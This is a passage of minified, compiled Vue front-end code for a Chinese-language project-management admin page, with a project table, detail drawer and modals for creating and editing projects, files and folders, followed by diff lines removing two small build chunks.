手机三端共享同一份数据。',"show-icon":"",style:{"margin-bottom":"16px"}})):_("v-if",!0),e.projects.length||e.loading?(p(),x(J,{key:1,columns:e.columns,"data-source":e.filteredProjects,loading:e.loading,pagination:{pageSize:20,showSizeChanger:!0},"row-key":"id","custom-row":e.onRowClick},{bodyCell:a(({column:n,record:c})=>[n.key==="id"?(p(),I("code",he,s(c.id.slice(0,8))+"…",1)):n.key==="name"?(p(),I(ne,{key:1},[U("strong",null,s(c.name),1),c.description?(p(),I("div",De,s(c.description),1)):_("v-if",!0)],64)):n.key==="project_type"?(p(),x(z,{key:2},{default:a(()=>[r(s(c.project_type),1)]),_:2},1024)):n.key==="status"?(p(),x(z,{key:3,color:e.statusColor(c.status)},{default:a(()=>[r(s(c.status),1)]),_:2},1032,["color"])):n.key==="sync_status"?(p(),x(z,{key:4,color:e.syncColor(c.sync_status)},{default:a(()=>[r(s(c.sync_status||"unknown"),1)]),_:2},1032,["color"])):n.key==="updated_at"?(p(),I(ne,{key:5},[r(s(e.formatTime(c.updated_at)),1)],64)):n.key==="actions"?(p(),x(O,{key:6,onClick:l[2]||(l[2]=ge(()=>{},["stop"]))},{default:a(()=>[t(y,{size:"small",onClick:q=>e.openDetail(c)},{default:a(()=>[...l[26]||(l[26]=[r("详情",-1)])]),_:1},8,["onClick"]),t(V,{title:`删除项目 '${c.name}' ?`,"ok-text":"删除","ok-type":"danger","cancel-text":"取消",onConfirm:q=>e.onDelete(c)},{default:a(()=>[t(y,{size:"small",danger:""},{default:a(()=>[...l[27]||(l[27]=[r("删除",-1)])]),_:1})]),_:1},8,["title","onConfirm"])]),_:2},1024)):_("v-if",!0)]),_:1},8,["data-source","loading"])):_("v-if",!0),_(" Detail drawer "),t(X,{open:e.detailOpen,"onUpdate:open":l[3]||(l[3]=n=>e.detailOpen=n),title:e.detail?.name||"项目详情",width:"640",placement:"right"},{default:a(()=>[e.detail?(p(),x(K,{key:0,column:1,bordered:"",size:"small"},{default:a(()=>[t(g,{label:"ID"},{default:a(()=>[U("code",null,s(e.detail.id),1)]),_:1}),t(g,{label:"名称"},{default:a(()=>[r(s(e.detail.name),1)]),_:1}),t(g,{label:"描述"},{default:a(()=>[r(s(e.detail.description||"-"),1)]),_:1}),t(g,{label:"类型"},{default:a(()=>[t(z,null,{default:a(()=>[r(s(e.detail.project_type),1)]),_:1})]),_:1}),t(g,{label:"状态"},{default:a(()=>[t(z,{color:e.statusColor(e.detail.status)},{default:a(()=>[r(s(e.detail.status),1)]),_:1},8,["color"])]),_:1}),t(g,{label:"同步状态"},{default:a(()=>[t(z,{color:e.syncColor(e.detail.sync_status)},{default:a(()=>[r(s(e.detail.sync_status||"unknown"),1)]),_:1},8,["color"])]),_:1}),t(g,{label:"用户"},{default:a(()=>[r(s(e.detail.user_id),1)]),_:1}),t(g,{label:"根路径"},{default:a(()=>[e.detail.root_path?(p(),I("code",Re,s(e.detail.root_path),1)):(p(),I("span",Te,"(无)"))]),_:1}),t(g,{label:"文件数"},{default:a(()=>[r(s(e.detail.file_count||0),1)]),_:1}),t(g,{label:"创建"},{default:a(()=>[r(s(e.formatTime(e.detail.created_at)),1)]),_:1}),t(g,{label:"更新"},{default:a(()=>[r(s(e.formatTime(e.detail.updated_at)),1)]),_:1})]),_:1})):_("v-if",!0),t(Q,null,{default:a(()=>[...l[28]||(l[28]=[r("文件",-1)])]),_:1}),_(" Sub-phase 7.3 (2026-05-17): 文件 CRUD toolbar "),t(O,{style:{"margin-bottom":"12px"}},{default:a(()=>[t(y,{size:"small",type:"primary",disabled:!e.detail,onClick:e.openCreateFile},{default:a(()=>[t(e.FileAddOutlined),l[29]||(l[29]=r(" 新建文件 ",-1))]),_:1},8,["disabled"]),t(y,{size:"small",disabled:!e.detail,onClick:e.openCreateFolder},{default:a(()=>[t(e.FolderAddOutlined),l[30]||(l[30]=r(" 新建文件夹 ",-1))]),_:1},8,["disabled"])]),_:1}),t(H,{spinning:e.filesLoading},{default:a(()=>[!e.files.length&&!e.filesLoading?(p(),x(C,{key:0,description:"无文件 (点上方按钮新建)"})):(p(),x(M,{key:1,size:"small","data-source":e.files},{renderItem:a(({item:n})=>[t(G,null,{extra:a(()=>[t(O,null,{default:a(()=>[n.file_size?(p(),I("span",Ee,s(n.file_size)+" B",1)):_("v-if",!0),t(V,{title:`删除 ${n.is_folder?"文件夹":"文件"} '${n.file_name}' ?`,"ok-text":"删除","ok-type":"danger","cancel-text":"取消",onConfirm:c=>e.onDeleteFile(n)},{default:a(()=>[t(y,{size:"small",danger:""},{default:a(()=>[...l[31]||(l[31]=[r("×",-1)])]),_:1})]),_:1},8,["title","onConfirm"])]),_:2},1024)]),default:a(()=>[U("span",{style:{cursor:"pointer"},onClick:c=>e.openEditFile(n)},s(n.is_folder?"📁":"📄")+" "+s(n.file_path),9,Be)]),_:2},1024)]),_:1},8,["data-source"]))]),_:1},8,["spinning"])]),_:1},8,["open","title"]),_(" Sub-phase 7.3: Create file modal "),t(A,{open:e.createFileOpen,"onUpdate:open":l[6]||(l[6]=n=>e.createFileOpen=n),title:"新建文件","confirm-loading":e.creatingFile,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreateFile},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"文件路径(项目内)",required:""},{default:a(()=>[t(T,{value:e.newFile.path,"onUpdate:value":l[4]||(l[4]=n=>e.newFile.path=n),placeholder:"例如 README.md 或 src/main.kt"},null,8,["value"])]),_:1}),t(b,{label:"初始内容(可选)"},{default:a(()=>[t(D,{value:e.newFile.content,"onUpdate:value":l[5]||(l[5]=n=>e.newFile.content=n),rows:6,placeholder:"留空创建空文件"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"]),_(" Sub-phase 7.3: Create folder modal "),t(A,{open:e.createFolderOpen,"onUpdate:open":l[8]||(l[8]=n=>e.createFolderOpen=n),title:"新建文件夹","confirm-loading":e.creatingFolder,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreateFolder},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"文件夹路径(项目内)",required:""},{default:a(()=>[t(T,{value:e.newFolder.path,"onUpdate:value":l[7]||(l[7]=n=>e.newFolder.path=n),placeholder:"例如 src/utils"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"]),_(" Sub-phase 7.3: Edit file content modal "),t(A,{open:e.editFileOpen,"onUpdate:open":l[10]||(l[10]=n=>e.editFileOpen=n),title:`编辑 ${e.editingFile?.file_name||""}`,"confirm-loading":e.savingFile,"ok-text":"保存","cancel-text":"取消",onOk:e.onSaveFile,width:"720"},{default:a(()=>[t(D,{value:e.editFileContent,"onUpdate:value":l[9]||(l[9]=n=>e.editFileContent=n),rows:18,"auto-size":{minRows:12,maxRows:24},style:{"font-family":"monospace"}},null,8,["value"])]),_:1},8,["open","title","confirm-loading"]),_(" Create modal "),t(A,{open:e.createOpen,"onUpdate:open":l[15]||(l[15]=n=>e.createOpen=n),title:"新建项目","confirm-loading":e.creating,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreate},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"项目名称",required:""},{default:a(()=>[t(T,{value:e.newProject.name,"onUpdate:value":l[11]||(l[11]=n=>e.newProject.name=n),placeholder:"例如:旅行计划-上海"},null,8,["value"])]),_:1}),t(b,{label:"描述"},{default:a(()=>[t(D,{value:e.newProject.description,"onUpdate:value":l[12]||(l[12]=n=>e.newProject.description=n),rows:2},null,8,["value"])]),_:1}),t(b,{label:"类型"},{default:a(()=>[t(R,{value:e.newProject.type,"onUpdate:value":l[13]||(l[13]=n=>e.newProject.type=n)},{default:a(()=>[t(m,{value:"document"},{default:a(()=>[...l[32]||(l[32]=[r("文档 (document)",-1)])]),_:1}),t(m,{value:"data"},{default:a(()=>[...l[33]||(l[33]=[r("数据 (data)",-1)])]),_:1}),t(m,{value:"web"},{default:a(()=>[...l[34]||(l[34]=[r("Web",-1)])]),_:1}),t(m,{value:"app"},{default:a(()=>[...l[35]||(l[35]=[r("应用 (app)",-1)])]),_:1}),t(m,{value:"presentation"},{default:a(()=>[...l[36]||(l[36]=[r("演示文稿",-1)])]),_:1}),t(m,{value:"spreadsheet"},{default:a(()=>[...l[37]||(l[37]=[r("表格",-1)])]),_:1}),t(m,{value:"design"},{default:a(()=>[...l[38]||(l[38]=[r("设计",-1)])]),_:1}),t(m,{value:"code"},{default:a(()=>[...l[39]||(l[39]=[r("代码",-1)])]),_:1}),t(m,{value:"workflow"},{default:a(()=>[...l[40]||(l[40]=[r("工作流",-1)])]),_:1}),t(m,{value:"knowledge"},{default:a(()=>[...l[41]||(l[41]=[r("知识库",-1)])]),_:1})]),_:1},8,["value"])]),_:1}),t(b,{label:"根路径 (可选)"},{default:a(()=>[t(T,{value:e.newProject.rootPath,"onUpdate:value":l[14]||(l[14]=n=>e.newProject.rootPath=n),placeholder:"留空则仅元数据"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"])])}const We=we(Pe,[["render",Le],["__scopeId","data-v-019ac5aa"],["__file","/tmp/cc-web-panel-28K2ue/repo/packages/web-panel/src/views/Projects.vue"]]);export{We as default};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{Q as r}from"./index-Jk99aZIr.js";const o=((n,a,e)=>{r(n,`[ant-design-vue: ${a}] ${e}`)});export{o as d};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{C as o}from"./Col-Dk6VwWGq.js";import{a0 as t}from"./index-Jk99aZIr.js";import"./vendor-Bn1JzzAn.js";import"./index-BMIhGZUR.js";import"./icons-DG5UD-6K.js";const s=t(o);export{s as default};
|